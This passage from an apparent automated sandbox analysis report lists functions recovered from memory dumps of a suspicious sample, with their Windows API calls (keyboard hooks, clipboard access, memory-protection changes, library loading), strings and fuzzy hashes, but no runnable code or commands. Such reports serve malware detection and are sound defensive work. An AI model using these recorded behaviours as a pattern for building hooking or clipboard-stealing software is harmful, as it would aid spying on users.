Function 4145F86A Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

d@A, xrefs: 4145F8D7

Memory Dump Source

Source File: 00000017.00000002.1683993706.0000000041450000.00000040.00000800.00020000.00000000.sdmp, Offset: 41450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41450000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: d@A
API String ID: 0-4044796269
Opcode ID: 53760b8f2ce90c3a5c8ff2782b4ca90afd44e21f1ab0402bd5920cba9a9b9b87
Instruction ID: 7d58051a400b615f462c83899fcc24133e40632dbd36fb21335190bc410a79a5
Opcode Fuzzy Hash: 53760b8f2ce90c3a5c8ff2782b4ca90afd44e21f1ab0402bd5920cba9a9b9b87
Instruction Fuzzy Hash: EF413572D083868FDB04CB75C80069EBFF1EF8A210F1585ABD595E7291DB749846CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 41D64250 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,00000000,00000000,00000000,?,?,?,?,41D6534A,00000000,00000000,3EDE4100,3DE0C974), ref: 41D65B98

Strings

|$@A, xrefs: 41D64250

Memory Dump Source

Source File: 00000017.00000002.1684983317.0000000041D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 41D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41d60000_bwsiuvcU.jbxd

Similarity

API ID: MessagePeek
String ID: |$@A
API String ID: 2222842502-3461025799
Opcode ID: 2d0d465a6f4efe63faa89b944040ceddabf19a86015dbde703023c7d59a14bb6
Instruction ID: 8488e6519f446ba8478575bd1c606657ae14a3f88f087a1e0eaf22d73a13d281
Opcode Fuzzy Hash: 2d0d465a6f4efe63faa89b944040ceddabf19a86015dbde703023c7d59a14bb6
Instruction Fuzzy Hash: 311114B5C002499FDB10CF9AD940BDEBBF8EB08320F10842AE958A3250C378A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 411BF18B Relevance: 2.6, Strings: 2, Instructions: 112COMMON

Download Yara Rule

Strings

ls@A, xrefs: 411BF225
ls@A, xrefs: 411BF2B4

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: ls@A$ls@A
API String ID: 0-472544680
Opcode ID: 9e9a2baaaf36d7b222130a5475991787e9e4bc75892a378d820801bb3f3d635d
Instruction ID: d69a9bd311622bc39c2f8bedaf130343efe30ed45479ae62767a1fb74c7d4b45
Opcode Fuzzy Hash: 9e9a2baaaf36d7b222130a5475991787e9e4bc75892a378d820801bb3f3d635d
Instruction Fuzzy Hash: 1D316F35F102169BCB09DFB5C85469EBBB6AF8A310F108569E806EB340EF70DD42CB95

Uniqueness

Uniqueness Score: -1.00%

Function 411BF198 Relevance: 2.6, Strings: 2, Instructions: 104COMMON

Download Yara Rule

Strings

ls@A, xrefs: 411BF225
ls@A, xrefs: 411BF2B4

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: ls@A$ls@A
API String ID: 0-472544680
Opcode ID: a2a12e3941d242d8df0ac387f781e9a0d984dbfe4a3997b259007e2b4d4632cd
Instruction ID: d660e7f84fe2ba8f408f091e22e362925f3c4013e8f41b9c8a99635a45509c41
Opcode Fuzzy Hash: a2a12e3941d242d8df0ac387f781e9a0d984dbfe4a3997b259007e2b4d4632cd
Instruction Fuzzy Hash: 09314F34F0161A9BCB09DBA5C85469EBBB6AF8A310F108569E805EB344EF70DD42CB95

Uniqueness

Uniqueness Score: -1.00%

Function 411B8F91 Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

ls@A, xrefs: 411B908B
ls@A, xrefs: 411B902D

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: ls@A$ls@A
API String ID: 0-472544680
Opcode ID: 670f5be02ab932e1b773d6d536d65ed639ea89f66624c9ba60a54ef1c7c3a01e
Instruction ID: 89ef681cecb5dcb9fd5bce9809172c6bfaf7b20db27df5f0bed374550ac22ec3
Opcode Fuzzy Hash: 670f5be02ab932e1b773d6d536d65ed639ea89f66624c9ba60a54ef1c7c3a01e
Instruction Fuzzy Hash: 2B31B270E102199BDB09CF65C48039EBBBAFF89300F108529E802EB341EB71EC46CB55

Uniqueness

Uniqueness Score: -1.00%

Function 411B8FA0 Relevance: 2.6, Strings: 2, Instructions: 89COMMON

Download Yara Rule

Strings

ls@A, xrefs: 411B908B
ls@A, xrefs: 411B902D

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: ls@A$ls@A
API String ID: 0-472544680
Opcode ID: b48d3f3ec734021e99d1cf16102ade7135fa58bc76874ccb72f3d8acaa1f5a9f
Instruction ID: f7c8c013efc5070a4262cb3e00af04f545d7a18ba0227c41bb6e67c97b69f686
Opcode Fuzzy Hash: b48d3f3ec734021e99d1cf16102ade7135fa58bc76874ccb72f3d8acaa1f5a9f
Instruction Fuzzy Hash: EC319170E002199BDB09CF65D49079EBBB6BF89300F118529E806FB341EB719D468B55

Uniqueness

Uniqueness Score: -1.00%

Function 411B8E60 Relevance: 2.6, Strings: 2, Instructions: 78COMMON

Download Yara Rule

Strings

pr@A, xrefs: 411B8F26
pr@A, xrefs: 411B8EDE

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: pr@A$pr@A
API String ID: 0-2172208707
Opcode ID: df5925f805e631bd295928d8518badd7e87c9a02098b0b2f9b1324f3a7bb30b9
Instruction ID: 63d274fe7785f3f58fe852b8ea12fae039595f64063599b23cd53d70bf572101
Opcode Fuzzy Hash: df5925f805e631bd295928d8518badd7e87c9a02098b0b2f9b1324f3a7bb30b9
Instruction Fuzzy Hash: CF21B230E142159BDB09CF65C45069EBBB2BF89310F10852AE912FB380EB709846CB45

Uniqueness

Uniqueness Score: -1.00%

Function 411B8E70 Relevance: 2.6, Strings: 2, Instructions: 73COMMON

Download Yara Rule

Strings

pr@A, xrefs: 411B8F26
pr@A, xrefs: 411B8EDE

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: pr@A$pr@A
API String ID: 0-2172208707
Opcode ID: 3c32e93fe90a4d71ce0bb5345cd18c69fcc94bde485d4b9553bc7fb2d85938bc
Instruction ID: 25dd690787cfb3db810d60d5a109109c5428761bc52d25e809f2f249f0dadf61
Opcode Fuzzy Hash: 3c32e93fe90a4d71ce0bb5345cd18c69fcc94bde485d4b9553bc7fb2d85938bc
Instruction Fuzzy Hash: 39219230E112199BCB09CFA5C45069EBBB2BF89710F11862AE912FB380EF719D45CB55

Uniqueness

Uniqueness Score: -1.00%

Function 411B6088 Relevance: 2.5, Strings: 2, Instructions: 37COMMON

Download Yara Rule

Strings

Lf@A, xrefs: 411B60D1
Lf@A, xrefs: 411B60F4

Memory Dump Source

Source File: 00000017.00000002.1683187453.00000000411B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 411B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_411b0000_bwsiuvcU.jbxd

Similarity

API ID:
String ID: Lf@A$Lf@A
API String ID: 0-274663137
Opcode ID: 72e1591d0df6c398fd70794b1522a00462f00f3da6a9fcd13e56b2e90709c991
Instruction ID: 09769007eb26b4c4b4fcdae51e9a22ba965a208835b9d677bcaf4b8fcdbdc7ae
Opcode Fuzzy Hash: 72e1591d0df6c398fd70794b1522a00462f00f3da6a9fcd13e56b2e90709c991
Instruction Fuzzy Hash: E5013634910318AFDF44EBF9E95569D7FB2AF80304F1086A8C505AB299EE706F168792

Uniqueness

Uniqueness Score: -1.00%

Function 41A32BED Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 41A32D02

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: ad7860063de98bab60a1af55de18d1dd64cf5e8baccb7eae24d6150ef2d35248
Instruction ID: 156081bc68315c14f50cb73dd929e1bfe647025f204deea59337621594e02af0
Opcode Fuzzy Hash: ad7860063de98bab60a1af55de18d1dd64cf5e8baccb7eae24d6150ef2d35248
Instruction Fuzzy Hash: C441BEB1C103499FDB14CF9AD884ADEBFB5FF88354F24812AE819AB250D775A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 41A32BF0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 41A32D02

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: bbc907b36a5c380932a4d289ba41e050a7899af1b574e83bccbc42a3536125fd
Instruction ID: 360474837f951d582640cb438d2f3d9edb86a6acddd8441c5de1bda858e39049
Opcode Fuzzy Hash: bbc907b36a5c380932a4d289ba41e050a7899af1b574e83bccbc42a3536125fd
Instruction Fuzzy Hash: 6941CEB1C10349DFDB14CF9AD884ADEBFB5BF88354F24812AE819AB250D775A845CF90

Uniqueness

Uniqueness Score: -1.00%

Function 41A36574 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 41A37B39

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: a4ada090691d0411c20c0184cfc9147e1f8e55c2f53809e2b1a7c69eeeaaff24
Instruction ID: 1666c34abf506998b0dfbdf2dc07238d695d87bcc6b320e828274a40245483ab
Opcode Fuzzy Hash: a4ada090691d0411c20c0184cfc9147e1f8e55c2f53809e2b1a7c69eeeaaff24
Instruction Fuzzy Hash: 6C4126B4900749DFDB14CF96C484B9ABBF5FB88314F25C459E519AB360C774A941CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 41A37E4B Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,41A37D85), ref: 41A37E0F

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 5723653539fd5542e674c9961755a0f616487545cb4f3962efdb42a038b5bb54
Instruction ID: 423fdb8c8390bc86a7418e891105d5500ad9edb92fe136955b2333c2478cc423
Opcode Fuzzy Hash: 5723653539fd5542e674c9961755a0f616487545cb4f3962efdb42a038b5bb54
Instruction Fuzzy Hash: 46212775B016148BE715A7F8D41035EB6E6EBC9324F22843AD20AD7391EE35DC45CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 41A383FC Relevance: 1.6, APIs: 1, Instructions: 75comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 41A38490

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: d7be4453ec04a562e364d1fe63519f25b1a81de4c1742b7993644a439d5e929c
Instruction ID: da227b5f0dfb732cd639c2bf89e79ab8c361ad156ba0d8dc4a27e5fedeef2586
Opcode Fuzzy Hash: d7be4453ec04a562e364d1fe63519f25b1a81de4c1742b7993644a439d5e929c
Instruction Fuzzy Hash: B33102B0D01258DFEB24CF99D984B8DBBF1BF88314F208069E404AB291D775A845CB56

Uniqueness

Uniqueness Score: -1.00%

Function 41A37770 Relevance: 1.6, APIs: 1, Instructions: 74comclipboardCOMMON

Download Yara Rule

APIs

OleGetClipboard.OLE32(?), ref: 41A38490

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: Clipboard
String ID:
API String ID: 220874293-0
Opcode ID: fae10cbcc00bd9ef9efa1f26794e7f3dcfa48cf8ea248aeab0f06f4cfb9410e9
Instruction ID: aa7560852a1c5c5142787f556f23f885ef0363ebcd410dd26a4e54366757c964
Opcode Fuzzy Hash: fae10cbcc00bd9ef9efa1f26794e7f3dcfa48cf8ea248aeab0f06f4cfb9410e9
Instruction Fuzzy Hash: 983103B0D4160CDFDB20CF99D984B8EBBF5AF88314F248069E004BB291D775A845CB65

Uniqueness

Uniqueness Score: -1.00%

Function 41A367E1 Relevance: 1.6, APIs: 1, Instructions: 67COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 41A3686F

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 50af8300c5cedbe44959e23f155747041da13d084a2be2dcc21d6924c9084ad4
Instruction ID: 7bc11bc1f922a040b9356e20361b4118e362b24d2242b57c86766bb3d34634cf
Opcode Fuzzy Hash: 50af8300c5cedbe44959e23f155747041da13d084a2be2dcc21d6924c9084ad4
Instruction Fuzzy Hash: 4121E5B5D002489FDB10CF9AD985AEEBBF8EB48310F14841AE958A3250D378A941CF61

Uniqueness

Uniqueness Score: -1.00%

Function 41A367E8 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 41A3686F

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 7b4bdf9fd407549c7cdeae1a9616f6be3211d6d04f1110b67d821b8b5bdecd6a
Instruction ID: 7ab3aeaf641f4f682c1c03b64b6c2ae965c0de08e0720b02baca3c05d10bb7bb
Opcode Fuzzy Hash: 7b4bdf9fd407549c7cdeae1a9616f6be3211d6d04f1110b67d821b8b5bdecd6a
Instruction Fuzzy Hash: 4421C4B5D002499FDB10CF9AD984ADEFFF4EB48310F14841AE958A3350D778A940CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 41A37408 Relevance: 1.6, APIs: 1, Instructions: 60COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,41A37D85), ref: 41A37E0F

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 264420072c1773345a88dfff676cc705efba4854d97e121f2b5ce7fc6b35d504
Instruction ID: bf6d6b3c20a9354d7917c1e07b8fda98520022932805a2489f3a11016e84c5ed
Opcode Fuzzy Hash: 264420072c1773345a88dfff676cc705efba4854d97e121f2b5ce7fc6b35d504
Instruction Fuzzy Hash: 0021AEB0C043988FDB11DFA9D8447DEBFF4EF4A320F24409AD454AB251C3346849CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 41A3A078 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 41A3A0FB

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: f4ca6b4a6cef177ca5be676603463cdd8a97bac8c734a876674f0899ddbf7cb4
Instruction ID: 53680c29af33b788f568d5c95e6d84fc7793f8db23b078fb7f77eb442e72f302
Opcode Fuzzy Hash: f4ca6b4a6cef177ca5be676603463cdd8a97bac8c734a876674f0899ddbf7cb4
Instruction Fuzzy Hash: 932134B5D002198FDB14DF9AC841BDEFBF5BB88320F10842AD428A7250C775A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 41A3A080 Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

SetWindowsHookExA.USER32(?,00000000,?,?), ref: 41A3A0FB

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: d8cd3fe0b33a4e05477f92b17f9fa3e87470ebdd02c4e71d96279d251b0e81d4
Instruction ID: beba7d91706998a26f3a62e1956c1236dce7faf734683699390694c0189ff76e
Opcode Fuzzy Hash: d8cd3fe0b33a4e05477f92b17f9fa3e87470ebdd02c4e71d96279d251b0e81d4
Instruction Fuzzy Hash: 7921F4B5D002599FDB14DF9AD944BEEFBF5FB88320F10842AD429A7290C775A940CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 3D949118 Relevance: 1.6, APIs: 1, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 3D94918C

Memory Dump Source

Source File: 00000017.00000002.1679941832.000000003D940000.00000040.00000800.00020000.00000000.sdmp, Offset: 3D940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3d940000_bwsiuvcU.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 514a93841bad8075ae1ee5fb4e135a0ab51adc5b5b74bdfb180a8f7128596d9f
Instruction ID: 3c4ecfb0786aedd1d8992cd7ec65e9cec4fb3766e2899953fd67355929781572
Opcode Fuzzy Hash: 514a93841bad8075ae1ee5fb4e135a0ab51adc5b5b74bdfb180a8f7128596d9f
Instruction Fuzzy Hash: 8911E5B5D043499FDB20DFAAC844B9EFBF5EB48310F508429D519A7240C7799941CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 41D60618 Relevance: 1.6, APIs: 1, Instructions: 55libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,?,41D61359,00000800), ref: 41D613EA

Memory Dump Source

Source File: 00000017.00000002.1684983317.0000000041D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 41D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41d60000_bwsiuvcU.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4c5a9e35e298f1319034375da358299e44cc3429e7aa345df9ef37c07f68d935
Instruction ID: 98f71ca469a230243ef0e9fa47790dc5317b0dcb67802d3c3da0eb53e398ab60
Opcode Fuzzy Hash: 4c5a9e35e298f1319034375da358299e44cc3429e7aa345df9ef37c07f68d935
Instruction Fuzzy Hash: 801114B6C003498FDB20CF9AD844B9EFBF8EB88310F10842AE519A7640C775A945CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 41D6137B Relevance: 1.6, APIs: 1, Instructions: 53libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,?,?,?,?,?,?,00000000,?,41D61359,00000800), ref: 41D613EA

Memory Dump Source

Source File: 00000017.00000002.1684983317.0000000041D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 41D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41d60000_bwsiuvcU.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 3b371d8966e6d5ef2769f4511b6673fd0bdf2ddf66d0204338b21d92041d396a
Instruction ID: aa26a7e85e0eead90678015fee78a78c86d32d7d67e7d64a3007c90099c22fb3
Opcode Fuzzy Hash: 3b371d8966e6d5ef2769f4511b6673fd0bdf2ddf66d0204338b21d92041d396a
Instruction Fuzzy Hash: 0711E2B6D003498FDB20CFAAD844ADEFBF4EB88310F11842ED519A7640C779A545CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 41D65B2F Relevance: 1.6, APIs: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,?,00000000,00000000,00000000,?,?,?,?,41D6534A,00000000,00000000,3EDE4100,3DE0C974), ref: 41D65B98

Memory Dump Source

Source File: 00000017.00000002.1684983317.0000000041D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 41D60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41d60000_bwsiuvcU.jbxd

Similarity

API ID: MessagePeek
String ID:
API String ID: 2222842502-0
Opcode ID: 828c370f72c9eb8e91b15367c30255418bd394e168012970f337b785406d256a
Instruction ID: d93ac3a71a47ea49a6837c6e600c7d43f78901ba5dc174926d06e8e3fc081b7e
Opcode Fuzzy Hash: 828c370f72c9eb8e91b15367c30255418bd394e168012970f337b785406d256a
Instruction Fuzzy Hash: E91104B5C00249DFDB10CF9AD945BDEFBF8EB48320F10842AE958A3250C378A944CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 41A324BB Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 41A32526

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: f9e9b02a2ddb2c8ed79f6d9b096226252463a67f62e697804553c3627f4d2baf
Instruction ID: fabd73fb1a2170760cd62d14c818fe27ee908ae12e7cb3f2b7a8c9bc99919e5d
Opcode Fuzzy Hash: f9e9b02a2ddb2c8ed79f6d9b096226252463a67f62e697804553c3627f4d2baf
Instruction Fuzzy Hash: 141134B5C006498FDB10CF9AD844BDEFBF4EB89310F10841AD419B3240C378A501CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 4145F950 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32 ref: 4145F9B7

Memory Dump Source

Source File: 00000017.00000002.1683993706.0000000041450000.00000040.00000800.00020000.00000000.sdmp, Offset: 41450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41450000_bwsiuvcU.jbxd

Similarity

API ID: GlobalMemoryStatus
String ID:
API String ID: 1890195054-0
Opcode ID: 8c88fa0693dbdac92c5c01f4622d5bf924f109bbb119b7b7466927f7f16296e0
Instruction ID: 28a65851936677507d43a6500bce1740407108ac84ff76b339070c1cd9aedc45
Opcode Fuzzy Hash: 8c88fa0693dbdac92c5c01f4622d5bf924f109bbb119b7b7466927f7f16296e0
Instruction Fuzzy Hash: 861123B1C1065A9BDB20DF9AC541BDEFBF4AF48320F11812AD928B7340D778A941CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 41A314A0 Relevance: 1.6, APIs: 1, Instructions: 50COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 41A32526

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: d7916dace5eed5c41de291f7caba31e9e64e71c0a36c71f813a229a0ade2f231
Instruction ID: 8cd311ffd4aefc208584d34eaceacd711f3b37085fd7e6a936a74b33fcf35c79
Opcode Fuzzy Hash: d7916dace5eed5c41de291f7caba31e9e64e71c0a36c71f813a229a0ade2f231
Instruction Fuzzy Hash: 1E11F3B5C006498BDB20DF9AD844B9EFBF4AB88324F10842AD519B7240C379AA45CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 3D9492E8 Relevance: 1.5, APIs: 1, Instructions: 49COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNEL32 ref: 3D94934A

Memory Dump Source

Source File: 00000017.00000002.1679941832.000000003D940000.00000040.00000800.00020000.00000000.sdmp, Offset: 3D940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_3d940000_bwsiuvcU.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 70eaa21504b7e57b4d46d91c686e8c3c1b1e76002d1b405fc1225f0255a56698
Instruction ID: 0781c3bf7fd65d47287e4b0bbc71edb2b89fdca032931e8ad3ceef61adf93321
Opcode Fuzzy Hash: 70eaa21504b7e57b4d46d91c686e8c3c1b1e76002d1b405fc1225f0255a56698
Instruction Fuzzy Hash: 2D1128B5D003498FDB24DFAAC44579EFBF8EB49220F108419D519A7240CB796941CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 41A37DA8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,41A37D85), ref: 41A37E0F

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 3e5737f66dab649b947ed6a942bb6c1517bd7ca10c0d58c2c19810352bbcc4af
Instruction ID: 05cc034ebb873f914b0c3adccf71c636f74d7bd7ed6ea12257556b15fb0829c6
Opcode Fuzzy Hash: 3e5737f66dab649b947ed6a942bb6c1517bd7ca10c0d58c2c19810352bbcc4af
Instruction Fuzzy Hash: BE1133B48003498FDB20DF9AD845BDEFBF4EB49320F20845AD918A7240C379A945CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 41A37424 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,?,?,?,?,41A37D85), ref: 41A37E0F

Memory Dump Source

Source File: 00000017.00000002.1684596370.0000000041A30000.00000040.00000800.00020000.00000000.sdmp, Offset: 41A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_23_2_41a30000_bwsiuvcU.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: f9eae5599d79d49e8c0fed3bd006dec53b2f41dbac687804b06541702739e91e
Instruction ID: b93d2ee2985525149f1df88006156b2c661f1d0834ce94b72d8473ec7213904b
Opcode Fuzzy Hash: f9eae5599d79d49e8c0fed3bd006dec53b2f41dbac687804b06541702739e91e
Instruction Fuzzy Hash: 4A1133B5800749CFDB20DF9AD845BDEFBF4EB48320F20841AD918A7240C378A940CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

